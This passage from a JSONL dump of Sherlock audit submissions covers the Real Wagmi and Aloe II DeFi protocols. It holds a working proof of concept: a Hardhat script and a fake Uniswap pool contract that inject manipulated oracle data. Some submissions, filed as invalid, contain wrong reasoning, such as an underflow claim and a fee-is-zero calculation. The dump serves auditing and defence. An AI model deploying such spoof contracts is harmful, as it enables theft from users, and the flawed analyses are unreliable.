https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L229-L308\n\nLINK TO THE UNISWAP SLOT0 FUNCTION USED TO GET sqrtPriceX96\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L507\n\n\n## Impact\nUsing Uniswap's slot0 function to get sqrtPriceX96 can be manipulated which will cause loss of asset for the user.\n\n## Code Snippet\n\n## Tool used\nManual Review\n\n## Recommendation\nUse the TWAP to get the value of sqrtPriceX96\n\n## Reference\n- [Similar Report on Code4rena](https://code4rena.com/reports/2023-05-maia#h-02-use-of-slot0-to-get-sqrtpricelimitx96-can-lead-to-price-manipulation)","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/018.md"}} +{"title":"LiquidityManager.sol - usage of ``slot0`` is a bad practice","severity":"major","body":"Quiet Sage Wren\n\nmedium\n\n# LiquidityManager.sol - usage of ``slot0`` is a bad practice\n## Summary\nThe ``LiquidityManager`` abstract contract introduces possible operations with liquidity such as adding, removing, extracting and restoring liquidity. It uses a cache variable to store various elements such as the ``sqrtPricex96``, which checks the spot price of the univ3 pool.\n\n## Vulnerability Detail\nThe ``slot0`` or spot price has been historically proven to be a bad practice since it is easily manipulatable and core operations regarding liquidity in this codebase rely on that spot price. Large intentional trades can cause unfair price movement via front-running to shift the spot price of underlying pair assets and mess up the token amounts calculation \n\n## Impact\nWrong liquidity calculation, potential use losses\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L342\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L475-L514\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo make any calculation use a TWAP instead of slot0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/003.md"}} +{"title":"Risk of manipulation of implied volatility calculations due to lack of input validation in VolatilityOracle's `prepare` function","severity":"info","body":"Cheerful Mahogany Spider\n\nhigh\n\n# Risk of manipulation of implied volatility calculations due to lack of input validation in VolatilityOracle's `prepare` function\n## Summary\n\nThe `VolatilityOracle.sol` CA is responsible for calculating the implied volatility from Uniswap V3 pools. However, there is an issue with the `prepare` function, as it lacks proper verification mechanisms, eventually allowing an attacker to manipulate the system by providing malicious input, leading to inaccurate volatility calculations and possibly financial loss.\n\n## Vulnerability Detail\n\nThe `prepare` function in the `VolatilityOracle.sol` CA is designed to set up necessary data for a given Uniswap V3 pool. It calculates and stores pool metadata and fee growth globals, which are later used to estimate the implied volatility of the pool's assets.\n\n```solidity\nfunction prepare(IUniswapV3Pool pool) external {\n cachedMetadata[pool] = _getPoolMetadata(pool);\n\n if (lastWrites[pool].time == 0) {\n feeGrowthGlobals[pool][0] = _getFeeGrowthGlobalsNow(pool);\n lastWrites[pool] = LastWrite({index: 0, time: uint32(block.timestamp), iv: IV_COLD_START});\n }\n}\n```\n\nHowever, this function does not perform adequate verification on the `pool` parameter, allowing an attacker to possibly provide a malicious contract address, which can lead to incorrect data being stored in the `cachedMetadata` and `feeGrowthGlobals` mappings, ultimately affecting the volatility calculations.\n\nFurthermore, the `liquidate` function in the `Borrower` CA is responsible for handling the liquidation of collateral in case a position becomes undercollateralized. This function currently relies on price data from the `VolatilityOracle` and does not implement sufficient checks and validations to ensure that the price data is accurate and not manipulated, means that the attacker manages to prepare the pool by passing his malicious CA and accurately manipulated data as the pool right like explained above he would be able to gain advantage from these distorted volatility calculations to make huge profits or either leading to unfair liquidations, where users’ collateral is liquidated even though their position is actually safe and well-collateralized. \n\n## Impact\n\nIf an actor exploits this vulnerability, they could basically manipulate the implied volatility calculations of the Aloe protocol, leading to inaccurate trading and hedging decisions by users, which would in turn result in financial loss for users, unfair liquidations (either in sizeable profit or loss.) and damage the integrity of the entire Aloe protocol.\n\n## Code Snippet\n\nHere is the snippet from `VolatilityOracle.sol` showcasing this concern:\n\n```solidity\nfunction prepare(IUniswapV3Pool pool) external {\n cachedMetadata[pool] = _getPoolMetadata(pool);\n\n if (lastWrites[pool].time == 0) {\n feeGrowthGlobals[pool][0] = _getFeeGrowthGlobalsNow(pool);\n lastWrites[pool] = LastWrite({index: 0, time: uint32(block.timestamp), iv: IV_COLD_START});\n }\n}\n```\n\n[LINK TO PREPARE](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L36-L43)\n\nConsequently, the `liquidate` function from the `Borrower`:\n\n```solidity\nfunction liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {\n // ...\n (Prices memory prices, ) = getPrices(oracleSeed);\n priceX128 = square(prices.c);\n // ...\n require(!BalanceSheet.isHealthy(prices, assets, liabilities0, liabilities1), \"Aloe: healthy\");\n // ...\n}\n```\n\n[LINK TO LIQUIDATE](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194-L286)\n\n## Tool used\n\nManual review.\n\n## Recommendation\n\n1. Maintain a list (whitelist) of approved Uniswap V3 pool addresses and check that the provided pool address is in this list before proceeding with the rest of the function.\n\n2. Check that the bytecode at the provided pool address matches the expected bytecode of a legitimate Uniswap V3 pool.\n\n3. If Uniswap V3 pools are created through a factory CA, you could verify that the pool address was created by the factory.\n\n## Proof of Concept\n\n1. Deploy a malicious CA that accurately mimics the interface of `IUniswapV3Pool`.\n2. Call the `prepare` function in `VolatilityOracle.sol`, passing the address of the malicious CA.\n3. Observe that the `prepare` function executes without error, storing incorrect data in the `cachedMetadata` and `feeGrowthGlobals` mappings.\n4. Use other functions in the `VolatilityOracle` contract that rely on the data stored by the `prepare` function. Notice that the calculations are now based on the incorrect data, leading to inaccurate volatility estimations.\n\nConsider the following script:\n```javascript\nconst { ethers } = require(\"hardhat\");\n\nasync function main() {\n // 1. Deploy the malicious contract mimicking IUniswapV3Pool\n const MaliciousContract = await ethers.getContractFactory(\"MaliciousAloe\");\n const maliciousContract = await MaliciousContract.deploy();\n await maliciousContract.deployed();\n console.log(\"MaliciousAloe deployed at:\", maliciousContract.address);\n\n // 2. Deploy the VolatilityOracle contract\n const VolatilityOracle = await ethers.getContractFactory(\"VolatilityOracle\");\n const volatilityOracle = await VolatilityOracle.deploy();\n await volatilityOracle.deployed();\n console.log(\"VolatilityOracle deployed at:\", volatilityOracle.address)\n \n await maliciousContract.setFakeData(\n ethers.BigNumber.from(\"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\"), // A very large _fakeSqrtPriceX96\n 0, // _fakeCurrentTick\n 1, // _fakeObservationIndex\n 10000, // A large _fakeObservationCardinality\n Math.floor(Date.now() / 1000), // _fakeObservationTimestamp\n 0, // _fakeFeeProtocol\n ethers.utils.parseUnits(\"1000000\", 18) // A large _fakeLiquidity\n ); \n console.log(\"Fake data has been set\");\n\n // Step 3: Call prepare Function\n await volatilityOracle.prepare(maliciousContract.address);\n console.log(\"prepare function executed successfully\");\n \n // Step 4: Log Manipulated Data\n const manipulatedData = await maliciousContract.getManipulatedData();\n console.log(\"Manipulated Data:\", manipulatedData);\n}\n\nmain()\n .then(() => process.exit(0))\n .catch((error) => {\n console.error(error);\n process.exit(1);\n });\n```\n\nWhich is interacting with the following malicious CA (MaliciousAloe.sol):\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"contracts/interfaces/IUniswapV3Pool.sol\";\n\ncontract MaliciousAloe is IUniswapV3Pool {\n // Malicious data to return\n address public fakeToken0;\n address public fakeToken1;\n uint24 public fakeFee = 3000;\n int24 public fakeTickSpacing = 60;\n uint128 public fakeMaxLiquidityPerTick = type(uint128).max;\n uint160 public fakeSqrtPriceX96 = 2**96;\n int24 public fakeCurrentTick = 0;\n uint16 public fakeObservationIndex = 1;\n uint16 public fakeObservationCardinality = 2;\n uint32 public fakeObservationTimestamp = uint32(block.timestamp - 1);\n uint8 public fakeFeeProtocol = 0;\n uint128 public fakeLiquidity = 1;\n\n // Other required state variables\n int56 public fakeTickCumulative = 0;\n uint160 public fakeSecondsPerLiquidityX128 = 0;\n bool public fakeInitialized = true;\n\nfunction getManipulatedData()\n external\n view\n returns (\n uint160 _fakeSqrtPriceX96,\n int24 _fakeCurrentTick,\n uint16 _fakeObservationIndex,\n uint16 _fakeObservationCardinality,\n uint32 _fakeObservationTimestamp,\n uint8 _fakeFeeProtocol,\n uint128 _fakeLiquidity,\n int56 _fakeTickCumulative,\n uint160 _fakeSecondsPerLiquidityX128\n )\n{\n return (\n fakeSqrtPriceX96,\n fakeCurrentTick,\n fakeObservationIndex,\n fakeObservationCardinality,\n fakeObservationTimestamp,\n fakeFeeProtocol,\n fakeLiquidity,\n fakeTickCumulative,\n fakeSecondsPerLiquidityX128\n );\n}\n // Implementing IUniswapV3PoolImmutables\n function factory() external view override returns (address) {\n return address(this); // returning address of this contract (or any other address)\n }\n\n function token0() external view override returns (address) {\n return fakeToken0;\n }\n\n function token1() external view override returns (address) {\n return fakeToken1;\n }\n\n function fee() external view override returns (uint24) {\n return fakeFee;\n }\n\n function tickSpacing() external view override returns (int24) {\n return fakeTickSpacing;\n }\n\n function maxLiquidityPerTick() external view override returns (uint128) {\n return fakeMaxLiquidityPerTick;\n }\n\n // Implementing other interfaces with fake or malicious data\n // ...\n \n function burn(int24, int24, uint128) external override returns (uint256, uint256) {\n return (0, 0);\n }\n\n function collect(address, int24, int24, uint128, uint128) external override returns (uint128, uint128) {\n return (0, 0);\n }\n\n function collectProtocol(address, uint128, uint128) external override returns (uint128, uint128) {\n return (0, 0);\n }\n\n function feeGrowthGlobal0X128() external view override returns (uint256) {\n return 0;\n }\n\n function feeGrowthGlobal1X128() external view override returns (uint256) {\n return 0;\n }\n\n function flash(address, uint256, uint256, bytes calldata) external override {\n // Arbitrary or malicious behavior can be added here\n }\n\n function increaseObservationCardinalityNext(uint16) external override {\n // Arbitrary or malicious behavior can be added here\n }\n\n function initialize(uint160) external override {\n // Arbitrary or malicious behavior can be added here\n }\n\n function mint(address, int24, int24, uint128, bytes calldata) external override returns (uint256, uint256) {\n return (0, 0);\n }\n\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n uint256 len = secondsAgos.length;\n tickCumulatives = new int56[](len);\n secondsPerLiquidityCumulativeX128s = new uint160[](len);\n\n // Manipulated data\n for (uint256 i = 0; i < len; ++i) {\n tickCumulatives[i] = int56(1000000); // Arbitrary large number\n secondsPerLiquidityCumulativeX128s[i] = uint160(1000000); // Arbitrary large number\n }\n }\n\n function positions(bytes32) external view override returns (uint128, uint256, uint256, uint128, uint128) {\n return (0, 0, 0, 0, 0);\n }\n\n function protocolFees() external view override returns (uint128, uint128) {\n return (0, 0);\n }\n\n function setFeeProtocol(uint8, uint8) external override {\n // Arbitrary or malicious behavior can be added here\n }\n\nfunction slot0() external view override returns (uint160, int24, uint16, uint16, uint16, uint8, bool) {\n return (fakeSqrtPriceX96, fakeCurrentTick, fakeObservationIndex, 65535, 65535, fakeFeeProtocol, false);\n}\n\n\n function liquidity() external view override returns (uint128) {\n return fakeLiquidity;\n }\n\n function snapshotCumulativesInside(int24, int24) external view override returns (int56, uint160, uint32) {\n return (0, 0, 0);\n }\n\n function swap(address, bool, int256, uint160, bytes calldata) external override returns (int256, int256) {\n return (0, 0);\n }\n\n function tickBitmap(int16) external view override returns (uint256) {\n return 0;\n }\n\n function ticks(int24) external view override returns (uint128, int128, uint256, uint256, int56, uint160, uint32, bool) {\n return (0, 0, 0, 0, 0, 0, 0, false);\n }\n\n function observations(uint256 index)\n external\n view\n override\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n )\n {\n return (fakeObservationTimestamp, fakeTickCumulative, fakeSecondsPerLiquidityX128, fakeInitialized);\n }\n\n // A function to allow updating malicious data for demonstration\nfunction setFakeData(\n uint160 _fakeSqrtPriceX96,\n int24 _fakeCurrentTick,\n uint16 _fakeObservationIndex,\n uint16 _fakeObservationCardinality,\n uint32 _fakeObservationTimestamp,\n uint8 _fakeFeeProtocol,\n uint128 _fakeLiquidity\n) external {\n require(_fakeObservationCardinality > 0, \"Invalid cardinality\");\n fakeSqrtPriceX96 = _fakeSqrtPriceX96;\n fakeCurrentTick = _fakeCurrentTick;\n fakeObservationIndex = _fakeObservationIndex;\n fakeObservationCardinality = _fakeObservationCardinality;\n fakeObservationTimestamp = _fakeObservationTimestamp;\n fakeFeeProtocol = _fakeFeeProtocol;\n fakeLiquidity = _fakeLiquidity;\n}\n}\n```\n\nAnd here's the output showing that data was in fact manipulated:\n\nC:\\Users\\david\\exploits>npx hardhat run scripts/Aloe.js --network hardhat\nMaliciousAloe deployed at: 0x32cd5ecdA7f2B8633C00A0434DE28Db111E60636\nVolatilityOracle deployed at: 0xbeC6419cD931e29ef41157fe24C6928a0C952f0b\nFake data has been set\nprepare function executed successfully\nManipulated Data: [\n BigNumber { value: \"340282366920938463463374607431768211455\" },\n 0,\n 1,\n 10000,\n 1698503321,\n 0,\n BigNumber { value: \"1000000000000000000000000\" },\n BigNumber { value: \"0\" },\n BigNumber { value: \"0\" },\n _fakeSqrtPriceX96: BigNumber { value: \"340282366920938463463374607431768211455\" },\n _fakeCurrentTick: 0,\n _fakeObservationIndex: 1,\n _fakeObservationCardinality: 10000,\n _fakeObservationTimestamp: 1698503321,\n _fakeFeeProtocol: 0,\n _fakeLiquidity: BigNumber { value: \"1000000000000000000000000\" },\n _fakeTickCumulative: BigNumber { value: \"0\" },\n _fakeSecondsPerLiquidityX128: BigNumber { value: \"0\" }\n]\n\nAs for breaking down the manipulated values that are used within the `prepare` function, after being set in the `setFakeData` call:\n\n1. `_fakeSqrtPriceX96`: a very high value to drastically manipulate the square root price.\n2. `_fakeCurrentTick`: a value that corresponds to an extreme price.\n3. `_fakeObservationIndex`: an index.\n4. `_fakeObservationCardinality`: an high value to showcase a large number of observations.\n5. `_fakeObservationTimestamp`: a recent timestamp.\n6. `_fakeFeeProtocol`: a value for simulating a fee bypass.\n7. `_fakeLiquidity`: a very high value to showcase a pool with high liquidity.\n\nBy following these steps, an attacker could actually manipulate the implied volatility calculations and achieve drastical outcomes within the Aloe protocol, therefore highlighting the need for additional verification and security measures in the `prepare` function.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/152.md"}} +{"title":"readonly reentrancy on getrate()","severity":"info","body":"Broad Fleece Monkey\n\nhigh\n\n# readonly reentrancy on getrate()\n## Summary\nRewards.getRate() call on a pool is not protected from the read-only reentrancy.\n\n## Vulnerability Detail\nRead-only reentrancy attacks target view functions that contain reentrancy vulnerabilities. These functions don’t change the state of the function but may have other important roles, such as reporting the perceived values of tokens.\n\nBy exploiting the reentrancy vulnerability, the attacker can manipulate these values or cause the contract to report outdated values. This enables them to exploit smart contracts that rely on these values.\n\nRead-only reentrancy occurs where a view function is called and reentered into during the execution of another function that modifies the state of that contract. This could potentially lead to stale data since what is read in memory during function invocation and what is recorded in storage has yet to be finalized and may be out of sync. \n\n## Impact\nAs a result, functions or contracts that rely on the returned value can be exploited which may lead to undesirable/malicious behaviour (rate manipulation).\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol?plain=1#L162\n```solidity\n rate = Rewards.getRate();\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n1. Reentrancy Guards: Reentrancy guards can help to protect against reentrancy attacks and should be extended to view functions as well as those that update the program state.\n\n2. The Balancer team recommends utilizing their [official library](https://github.com/balancer/balancer-v2-monorepo/blob/3ce5138abd8e336f9caf4d651184186fffcd2025/pkg/pool-utils/contracts/lib/VaultReentrancyLib.sol) to safeguard queries such as Rewards.getRate.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/150.md"}} +{"title":"Position cannot be modified when probe price a rounds down to MIN_SQRT_RATIO","severity":"info","body":"Striped Obsidian Spider\n\nhigh\n\n# Position cannot be modified when probe price a rounds down to MIN_SQRT_RATIO\n## Summary\nThe probe price calculation for prices.a can round down to zero and then get capped by the MIN_SQRT_RATIO, which can lead to a failing health check preventing the modification of a user's position in some cases. \n\n## Vulnerability Detail\n```a = uint160((sqrtMeanPriceX96 * 1e12).rawDiv(sqrtScaler).max(TickMath.MIN_SQRT_RATIO));``` : this calculation can go to zero if sqrtScaler has its maximum value and a gets capped to MIN_SQRT_RATIO. In other cases, the value of a may simply be below MIN_SQRT_RATIO and get capped to it. If a has such a small value it means price of token0 in terms of token1 will be very small. Now check a call to modify position. After the user has done his stuff, it calls for a check to ensure the User's borrower account is healthy ie. total assets > liabilities for both probe prices a and b. Now since the probe price can get ```a``` value very small, the health check can return false when the modified position is actually healthy.\n\nNow consider a position which has all its liabilities in token1 and most assets as token0. When the logic check enters the BalanceSheet.sol#isHealthy function , probe price a may have been incorrectly rounded down and passed on to this function. On BalanceSheet.sol Line 71, the liabilities and assets are valued at priceX128 which is the probe price a. Since the position we have assumed has liabilities0 as minimum and assets0 as maximum, the total liabilities calculation will be correct but the total assets will be grossly undervalued than the deserving probe price it should have been evaluated for. This may result in ```liabilities > assets => return false```, thus failing the health check and reverting the modify call for no mistake of the user. \n\n## Impact\nUser's call to modify has been blocked for no mistake of theirs. This modify procedure maybe important for the user, especially if he has been warned for liquidation or wants to withdraw liquidity. This is unfair to the user as he may get liquidated then. The rounding down is definitely possible because sqrtScaler has max value upto 3.07e12 and sqrtMeanPriceX96 can be small depending on asset pair. \n\nImportant note : Keep in mind that this bug only exists if you use the correct formula of prices, that I have reported separately. In current calculation, the price doesn't divide by the decimal difference between assets which may bring down the valuation of assets at BalanceSheet.sol Line71. Right now the calculation goes by directly squaring the price numbers which yields a high enough value to not cause undervaluation of assets. But as soon as you use the correct price calculation formula, the assets will be undervalued because there will be chances of probe price a rounding down. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/libraries/BalanceSheet.sol#L110\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck that the calculated probe prices are in a definite safe range from the sqrtMeanPrice instead of capping it to MIN_SQRT_RATIO which can be abrupt to the sqrtScaler calculation at the time. Or change the formula in such a way that it can not round down to such small values.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/143.md"}} +{"title":"Uniswap V3 oracles are susceptible to price manipulation on Layer 2 Rollups","severity":"info","body":"Trendy Strawberry Skunk\n\nhigh\n\n# Uniswap V3 oracles are susceptible to price manipulation on Layer 2 Rollups\n## Summary\nUniswap V3 oracles are susceptible to price manipulation on Layer 2 Rollups\n\n## Vulnerability Detail\n\nPer the contest readme.md, The contracts will be deployed on L2 rollups.\n\n> On what chains are the smart contracts going to be deployed?\nmainnet, Arbitrum, Optimism, Base\n\nTherefore, [Uniswap official documentation](https://docs.uniswap.org/concepts/protocol/oracle#oracles-integrations-on-layer-2-rollups) has given an important statement on uniswap v3 oracles integrations on Layer 2 Rollups. This mentions for optimism as below,\n\n> Oracles Integrations on Layer 2 Rollups\n> Optimism\n> On Optimism, every transaction is confirmed as an individual block. The block.timestamp of these blocks, however, reflect the block.timestamp of the last L1 block ingested by the Sequencer. For this reason, Uniswap pools on Optimism are not suitable for providing oracle prices, as this high-latency block.timestamp update process makes the oracle much less costly to manipulate. In the future, it's possible that the Optimism block.timestamp will have much higher granularity (with a small trust assumption in the Sequencer), or that forced inclusion transactions will improve oracle security. For more information on these potential upcoming changes, please see the Optimistic Specs repo. For the time being, usage of the oracle feature on Optimism should be avoided.\n\nAs the heading of this issue says Layer 2 Rollups. This issue is also apply to Arbitrum as well as Base.\n\nTo be noted, Optimism has average block time is 2 seconds and Arbitrum has average block time is 0.26 seconds.\n\nThis makes it vulnerable to potential oracle price manipulation.\n\nThese TWAP oracle has been used in below contracts,\n\nIn `Borrower.sol`, `_getPrices()` is used as an internal function to get the prices. Which can be checked [here](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L479). `_getPrices()` is further used in `getPrices()` and `getPrices()` is further used to fetch the prices from the oracle and used in external functions like `warn()`, `liquidate()` and `modify()`. These functions are at direct risk and the price can be manipulated as stated above.\n\nIt is to be noted that `uniswap oracle` is being used in `VolatilityOracle.sol` and in `oracle.sol` but `VolatilityOracle.sol` under the hood use the unisswap oracle to fetch the functions to be further used in `Borrower.sol`.\n\nOracleLibrary.consult() can be checked [here](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/libraries/OracleLibrary.sol#L28) in OracleLibrary.sol. This is in uniswap pool contract.\n\nTherefore, based on the recommendation by uniswap, It is better to avoid the uniswap twap for L2 rollups.\n\n## Impact\nThe cost of manipulating TWAP in Layer 2 Rollups i.e `Optimism, Arbitrum, Base` is low, Therefore TWAP oracle should not be used on `Optimism, Arbitrum, Base` in `Aloa` project\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L479\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider using Chainlink oracles on Layer L2 chains like optimism, Arbitrum, etc.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/141.md"}} +{"title":"permanent DoS of Courier (Affiliate function)","severity":"info","body":"Oblong Lava Pig\n\nmedium\n\n# permanent DoS of Courier (Affiliate function)\n## Summary\n\nAloe protocol implements support for a kind of Referral (Affiliate) system. A malicious user can easily DoS this function forever.\n\n## Vulnerability Detail\n\nRefferees are called Courier in Aloe, and they can register as such using the `enrollCourier` function of the Factory.sol contract.\n\nAll they have to do, is to call this function with an `id` (uint32) and a `cut` (uint16) parameter. The cut specifies the percentage of the fees they would receive from referals.\n\nThe function has a check if an id is already used, and reverts if this is the case, to prevent overwriting of Couriers.\n\nThis, and the fact that the id is stored ad an uint32, makes it relatively easy for an attacker to call the function for every possible Id, and to fill up the whole mapping. This will allow nobody else to ever register as a Courier.\n\n## Impact\n\n- enrollCourier function is DOSed for ever.\n- nobody can register as courier.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L267\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n- allow every address to register only once as an courier\n- add a governance function to delete couriers","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/140.md"}} +{"title":"Burning 100% of the shares will result in a 0 fee being paid to the courier.","severity":"info","body":"Spicy Strawberry Sidewinder\n\nmedium\n\n# Burning 100% of the shares will result in a 0 fee being paid to the courier.\n## Summary\nBurning 100% of the shares will result in a 0 fee being taken in the _burn() function.\n## Vulnerability Detail\nburning 100% of the shares will result in a 0 fee being paid to the courier.\nHere is the relevant code from the _burn() function:\n\n uint256 fee = ((balance - principleShares) * cut) / 10_000;\n balance -= fee; \n\n fee = (fee * shares) / balance;\n\nWhen burning 100% of the shares, shares == balance. So the second line simplifies to:\nfee = (fee * balance) / balance\nWhich results in fee being set to 0, since anything divided by itself is 1.\nThis is a vulnerability because it allows the user to avoid paying the courier fee if they burn exactly 100% of their shares. The courier provides value by referring users, so they should be compensated\n\nTo buttress my point again in details explaining with relevant code:\n\n uint256 fee = ((balance - principleShares) * cut) / 10_000;\n balance -= fee; \n fee = (fee * shares) / balance;\n\nWhen burning 100% of the shares:\n• shares = balance\n• So the first line calculates the fee based on (balance - principleShares)\n• The second line subtracts this fee from the balance\n• The third line then calculates the portion of the fee to transfer based on the shares being burnt (which is now the full balance)\n• So shares = balance, which means:\n• fee = (fee * balance) / balance\n• This results in fee being set to 0\n\nThe impact is that when burning 100% of the shares, no fee will be transferred to the courier. This means the courier could miss out on fees in this scenario.\n\n## Impact\nThis is a vulnerability because it allows the user to avoid paying the courier fee when burning 100% of their shares. The courier who brought in the funds gets cheated out of their fee.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L507-L511\n## Tool used\n\nManual Review\n\n## Recommendation \n\nTo mitigate this, the fee calculation could be changed to:\n\n uint256 fee = ((balance - principleShares) * cut) / 10_000;\n\n if (shares == balance) {\n fee = (balance * cut) / 10_000; \n } else {\n fee = (fee * shares) / balance;\n }\n\n balance -= fee;\n\nNow if 100% of shares are being burned, the fee is calculated based on the full balance, ensuring the courier gets their cut","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/138.md"}} +{"title":"`createMarket` function can be Dos","severity":"info","body":"Formal Spruce Lynx\n\nmedium\n\n# `createMarket` function can be Dos\n## Summary\nThe `createMarket` function in the `Factory` contract is vulnerable to frontrunning. A frontrunner can deploy their own market before Alice's transaction is confirmed, causing Alice's transaction to revert.\n\n## Vulnerability Detail\nThe vulnerability stems from the deterministic nature of the salt generation Specifically, the salt used for deploying is derived from the `pool` argument, which is publicly accessible. A frontrunner would first monitor the mempool for transactions that call the `createMarket` function. Once they see a transaction that calls the `createMarket` function, they would deploy their own market with the same parameters as Alice's market. Because the frontrunner's market will be deployed before Alice's market, Alice's transaction will revert.\n\n\n## Impact\nThe function can be DoS'd everytime someone tries to call it.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L170-L205\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `msg.sender` to the salt argument passed to `cloneDeterministically`.\n\n```solidity\nbytes32 salt = keccak256(abi.encodePacked(pool, msg.sender));\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/130.md"}} +{"title":"AloeII code Audit Contest 2023","severity":"info","body":"Quaint Lemonade Squid\n\nhigh\n\n# AloeII code Audit Contest 2023\n## Summary\nThe Protocol of this audit is the AloeII project. AloeII is a a lending and leverage borrowing protocol\nfor participating in UniswapV3 farming. The scope of this audit only involves the files and contracts in\nscope. The audit was carried out using semi-automatic and manual verifications processes, carrying\nout the audit in iterative methodology.\n\n## Vulnerability Detail\n\nIn the Lender contract, the claim rewards function thats\nthe recommended function for withdrawals and is called in the withdrawal function of lender contract.\nThe function accepts three function parameters uint256 shares, address recipient, address owner for\nthe processing of function Logic. However, the uint256 shares variable passed in as the amount that\nwould be sent to the address recipient from address owner, is not checked to ascertain if the value\npassed in to it is in actual fact lower than the address owner remaining balance uint256 allowed =\nallowance[owner][msg.sender]; assert(shares < allowed) was not put in place. Means a malicious user\ncan steal tokens more than the address owner holds at the time.\nfunction redeem(uint256 shares, address recipient, address owner) public returns (uint256 amount) {\n\nif (shares == type(uint256).max) shares = maxRedeem(owner);\n1 if (msg.sender != owner) {\n2 uint256 allowed = allowance[owner][msg.sender];\n3 if (allowed != type(uint256).max)\n4 allowance[owner][msg.sender] = allowed - shares;\n\nA situation the allowed has a value of 200 and the value passed to shares variable is 2000, the calculation would be -1800 but a value less than zero passed to a uint256 becomes negative and the\nvalue of the address owner balance would be increased and the recipient could take as much token as\ntype(uint256).max can allow. This issue totally throws the integrity of the system into disrepute as its\nthe same value that is used to Burn shares and track rewards. Also, the same variable is one of those\npassed to the _convertToAssets function.\n\n## Impact\nHigh Severity: \nHigh Status: \nJust Reported: \n\n## Code Snippet\nVulnerability:\nlender.sol\n\n[function redeem(uint256 shares, address recipient, address owner) public returns (uint256 amount) {\n\nif (shares == type(uint256).max) shares = maxRedeem(owner);\n1 if (msg.sender != owner) {\n2 uint256 allowed = allowance[owner][msg.sender];\n3 if (allowed != type(uint256).max)\n4 allowance[owner][msg.sender] = allowed - shares;]\n(https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L177-L182)\n\nSuggestion:\nVerify and check that the address owner in fact has more than the value passed to the\nshares function parameter.\nrequire(allowed > shares, “Aloe: Not Enough Balance”);\n\n## Tool used\nslither for static analysis\nRemix for code unit testing \nForge for test and private network test\nand Manual Review\n\n## Recommendation\n\nVerify and check that the address owner in fact has more than the value passed to the\nshares function parameter. \n\nrequire(allowed > shares, “Aloe: Not Enough Balance”);","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/128.md"}} +{"title":"`initialize` can be called 